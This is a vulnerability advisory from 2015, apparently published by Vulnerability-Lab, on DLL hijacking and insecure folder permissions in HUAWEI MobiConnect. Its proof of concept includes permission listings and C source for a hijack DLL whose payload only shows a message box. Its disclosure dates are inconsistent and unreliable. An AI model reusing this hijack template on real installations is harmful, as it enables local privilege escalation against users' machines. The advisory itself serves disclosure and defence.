HUAWEI MobiConnect 23.9.17.216 - Privilege Escalation Vulnerability

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Document Title:
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HUAWEI MobiConnect 23.9.17.216 - Privilege Escalation Vulnerability


References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=1389


Release Date:
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2015-05-04


Vulnerability Laboratory ID (VL-ID):
====================================
1389


Common Vulnerability Scoring System:
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6.7


Product & Service Introduction:
===============================
Wherever you are, our offer Mobiconnect allows you to work with the same comfort that company for your laptop.
You can, in complete freedom ... Surfing the Internet, Consult your mail and all your attachments, Access your 
documents and business applications. In addition to GPRS / EDGE unlimited, you can send free SMS to the Mobilis 
network on your computer.

(Copy of the Vendor Homepage: http://www.mobilis.dz/entreprises/mobiconnect.php )


Abstract Advisory Information:
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An independent vulnerability researcher discovered a local privilege escalation vulnerability in the official HUAWEI 
MobiConnect 23.009.17.00.216 software.


Vulnerability Disclosure Timeline:
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2014-00-00: Researcher Notification & Coordination (Hadji Samir)
2014-12-23: Vendor Notification (PSIRT Team)
2014-12-26: Vendor Response/Feedback (PSIRT Team)
2014-04-17: Vendor Fix/Patch (HUAWEI Developer Team)
2014-05-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
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Published


Affected Product(s):
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HUAWEI
Product: MobiConnect HUAWEI 23.009.17.00.216


Exploitation Technique:
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Local


Severity Level:
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High


Technical Details & Description:
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A local privilege escalation vulnerability has been discovered in the official HUAWEI MobiConnect 23.009.17.00.216 
software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes 
in connection with dll hijacking.

The security risk of the local privilege escalation vulnerability is estimated as high with a cvss (common 
vulnerability scoring system) 
count of 6.7. Exploitation of the vulnerability requires a local privileged systen user account without user for 
interaction. 
Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise.


Proof of Concept (PoC):
=======================
The local vulnerability can be exploited by local attackers with restricted system privileges and without user 
interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

--- PoC Session Logs [Insecure Permissions Local Privilege Escalation] ---
C:\Program Files>cacls "MobiConnect"
C:\Program Files\MobiConnect BUILTIN\Utilisateurs:(OI)(IO)F
                             BUILTIN\Utilisateurs:(CI)F
                             NT SERVICE\TrustedInstaller:(ID)F
                             NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                             AUTORITE NT\Système:(ID)F
                             AUTORITE NT\Système:(OI)(CI)(IO)(ID)F
                             BUILTIN\Administrateurs:(ID)F
                             BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F
                             CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F
C:\Program Files\MobiConnect>cacls "MobiConnect.exe"
C:\Program Files\MobiConnect\MobiConnect.exe BUILTIN\Utilisateurs:F
                                             AUTORITE NT\Système:(ID)F
                                             BUILTIN\Administrateurs:(ID)F

--- PoC Session Logs [DLL Hijacking Exploit (wintab32.dll)] ---
*/

#include <windows.h> 

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
owned();
case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

int owned() {
MessageBox(0, "MobiConnect DLL Hijacked\Hadji Samir", "POC", MB_OK);
}


Security Risk:
==============
The security risk of the local privilege escalation vulnerability in connection with the dll hijacking bug is estimated 
as high. (CVSS 6.7)


Credits & Authors:
==================
Hadji Samir S-dz () hotmail fr


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